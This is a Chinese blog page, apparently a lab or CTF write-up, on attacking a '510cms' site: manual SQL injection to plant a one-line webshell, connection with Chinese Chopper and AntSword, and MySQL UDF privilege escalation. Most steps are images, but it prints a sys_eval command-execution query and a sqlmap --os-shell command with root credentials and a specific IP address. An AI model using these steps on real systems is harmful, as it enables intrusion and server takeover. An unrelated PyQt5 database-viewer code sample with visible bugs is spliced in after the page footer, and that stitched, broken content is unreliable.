510cms使用手工注入挂下一句话木马 中国菜刀 蚁剑 挂马连接510cms网站 分别使用navicat和sqlmap进行udf提权

在这里插入图片描述
我们知道此处有注入 使用order by 确定他的字段值
在这里插入图片描述
在这里插入图片描述
order by 得出 字段值是7
在这里插入图片描述判断出来回显位数是4
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Select version()
Select sys_eval(‘cat/flag。txt’)
在这里插入图片描述
sqlmap -d “mysql://root:root@159.75.16.25:3309/mysql” --os-shell

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是使用PyQt5开发Navicat中双击连接打开数据库和打开连接功能的示例代码: ```python from PyQt5.QtWidgets import QApplication, QMainWindow, QTreeView, QMessageBox from PyQt5.QtGui import QIcon from PyQt5.QtCore import Qt from PyQt5.QtSql import QSqlDatabase, QSqlQueryModel class Navicat(QMainWindow): def __init__(self): super().__init__() # 设置窗口标题和图标 self.setWindowTitle('Navicat') self.setWindowIcon(QIcon('icon.png')) # 创建树形视图并设置其属性 self.treeView = QTreeView(self) self.treeView.setRootIsDecorated(False) self.treeView.setAlternatingRowColors(True) # 连接数据库 self.db = QSqlDatabase.addDatabase('QSQLITE') self.db.setDatabaseName('test.db') if not self.db.open(): QMessageBox.critical(self, 'Error', self.db.lastError().text()) # 创建查询模型并设置其属性 self.model = QSqlQueryModel(self) self.model.setQuery('SELECT name FROM sqlite_master WHERE type=\'table\'') self.treeView.setModel(self.model) # 双击树形视图项打开数据库表 self.treeView.doubleClicked.connect(self.openTable) # 设置主窗口布局 self.setCentralWidget(self.treeView) # 打开数据库表 def openTable(self, index): tableName = self.model.record(index.row()).value('name') if not self.db.isOpen(): QMessageBox.critical(self, 'Error', 'Database is not open.') return if not self.db.tables().contains(tableName): QMessageBox.critical(self, 'Error', 'Table not found.') return query = QSqlQueryModel(self) query.setQuery('SELECT * FROM ' + tableName) view = QTableView() view.setModel(query) view.setWindowTitle(tableName) view.show() if __name__ == '__main__': app = QApplication([]) navicat = Navicat() navicat.show() app.exec_() ``` 在上面的示例代码中,我们创建了一个名为Navicat的主窗口,并在其中添加了一个树形视图。我们使用QSqlQueryModel查询数据库中的所有表,并将其设置为树形视图的模型。我们还连接了树形视图的doubleClicked信号槽,以便在双击树形视图项时打开数据库表。 在打开数据库表的openTable方法中,我们使用QSqlQueryModel查询数据库表中的所有数据,并将其设置为QTableView的模型。我们还将QTableView的标题设置为数据库表名,并在打开QTableView之前显示它。 请注意,在打开数据库表之前,我们还检查了数据库是否已打开,并检查了所需的表是否存在。如果出现任何错误,我们将显示一个错误消息框。 这就是使用PyQt5开发Navicat中双击连接打开数据库和打开连接功能的示例代码。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值